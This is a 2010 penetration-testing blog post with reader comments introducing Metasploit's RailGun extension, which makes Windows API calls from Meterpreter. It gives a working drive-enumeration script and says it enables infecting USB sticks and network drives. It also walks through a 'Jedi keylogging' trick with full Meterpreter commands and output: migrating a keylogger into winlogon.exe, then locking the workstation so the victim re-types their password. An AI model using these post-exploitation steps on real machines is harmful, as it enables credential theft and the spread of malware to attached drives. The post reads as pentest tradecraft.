Search

Search

Social Media - Mubix

Social Media


This is a Flickr badge showing public photos and videos from mubix. Make your own badge here.
Login
« resources for railgun development | Main | Set Wallpaper Meterpreter Script »
Wednesday
Jul072010

Intro to RailGun: WIN API for Meterpreter

Back on June 13th, “Patrick HVE” released RAILGUN:

http://mail.metasploit.com/pipermail/framework/2010-June/006382.html

And it was merged into the the Metasploit trunk with 9709, 9710, 9711 and 9712:

http://www.metasploit.com/redmine/projects/framework/repository/revisions/9712

Basically what this allows you to do is make Windows API calls from Meterpreter without compiling your own DLL. It currently supports a number of Windows API dlls:

  • iphlpapi
  • ws2_32
  • kernel32
  • ntdll
  • user32
  • advapi32

(You can find out exactly what functions are available by default in the api.rb file)

It’s also very extensible, it doesn’t have a DLL or function you need? But you can read all about in the manual:

./external/source/meterpreter/source/extensions/railgun/railgun_manual.pdf

Here are two examples where this comes in very handy:

List Drives:

The problem that I’ve had on a number of pentests is that you get shell, but from CMD or Meterpreter there is no good way to find all of the volumes (drives) attached.

 

  • net use – Shows you what Network drives are connected, but not physical ones
  • fsutil fsinfo drives – You must be an administrator to ride this train
  • fdisk /status – Only on OLD versions of DOS, not sure when this disappeared

 

But railgun solves this problem with a really short script:

 

# Load the Railgun plugin
client.core.use("railgun")
# Make the API call to enum drive letters 
a = client.railgun.kernel32.GetLogicalDrives()["return"]
# Math magic to convert the binary to letters
drives = []
letters = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
(0..25).each do |i|
    test = letters[i,1]
    rem = a % (2**(i+1))
    if rem > 0
        drives << test
        a = a - rem
    end
end
print_line("Drives Available = #{drives.inspect}")

Output:
Drives Available = ["A", "C", "D", “P”, “X”]

Save this as a meterpreter script and it’ll print every logical drive attached to the system even as a limited user (that the user can see).

Logical drives include: (hdd, network, mass storage, optical, etc). This opens up the doors to infecting USB sticks and network drives…

 

JEDI KEYLOGGING:

One of the problems with keylogging is you never know when that person will log in, and if you’re using a client side, they have probably already logged in and you’re hoping they log into a portal or some other password protected site.

Railgun to the rescue again:

# Start the keylogger running in the background dumping keys every 15 seconds, attached to Winlogon
meterpreter > bgrun keylogrecorder -c 1 -t 15
[*] Executed Meterpreter with Job ID 0
meterpreter > [*]     winlogon.exe Process found, migrating into 640
[*] Migration Successful!!
[*] Starting the keystroke sniffer...
[*] Keystrokes being saved in to /root/.msf3/logs/scripts/keylogrecorder/192.168.92.122_20100707.4539.txt
[*] Recording

# Drop to IRB to initialize railgun and lockout the workstation, forcing the user to use their credentials again.

meterpreter > irb
[*] Starting IRB shell
[*] The 'client' variable holds the meterpreter client

>> client.core.use("railgun")
=> true
>> client.railgun.user32.LockWorkStation()
=> {"GetLastError"=>0, "return"=>true}
>> exit
meterpreter >

Set up “tail –f” going on the log file for the keylogger and then kill the keylogger when you’ve gotten what you came for.

meterpreter > bglist
[*] Job 0: ["keylogrecorder", "-c", "1", "-t", "15"]
meterpreter > bgkill 0
[*] Killing background job 0...
meterpreter >

Hope you have fun with railgun and shoot me an email mubix@hak5.org or leave a comment if you have any other crazy uses for railgun.

Reader Comments (5)

Awesome new plugin!
Btw you can also use the "diskpart" command to list the box drivers


C:\Documents and Settings\oval>diskpart

Microsoft DiskPart version 5.1.3565

Copyright (C) 1999-2003 Microsoft Corporation.
On computer: OVAL-WINXP-A

DISKPART> list volume

Volume ### Ltr Label Fs Type Size Status Info
---------- --- ----------- ----- ---------- ------- --------- --------
Volume 0 D CD-ROM 0 B
Volume 1 C NTFS Partition 8182 MB Healthy System

July 7, 2010 | Unregistered Commenter@DaniloNC

Thanks! But that one requires admin privs as well.

July 7, 2010 | Registered CommenterRob Fuller

After the address of the function using GetProcAddress, how do we push the arguments on to the stack and call the function? Am I missing out on something, is it possible?

Thx

July 14, 2010 | Unregistered Commenterbinaryhax0r

@binaryhax0r - No need, railgun takes care of that for you. You can use ruby variables to pass to the function such as:

Hand typed ruby so it definitely isn't cut and paste-able:

irb> username = "bob"
"bob" => username
irb> client.railgun.user32.GetUserInfoA(username,nil,0,0,1)

July 14, 2010 | Registered CommenterRob Fuller

Sorry I think I'd to rephrase what I've commented earlier... What if I use LoadLibraryA to load my user32.dll and use the GetProcAddress to fetch LockWorkStation function address.... How would I use the return address now? (How would I call the function with or w/o parameters?)

July 27, 2010 | Unregistered Commenterbinaryhax0r

PostPost a New Comment

Enter your information below to add a new comment.

My response is on my own website »
Author Email (optional):
Author URL (optional):
Post:
 
Some HTML allowed: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <code> <em> <i> <strike> <strong>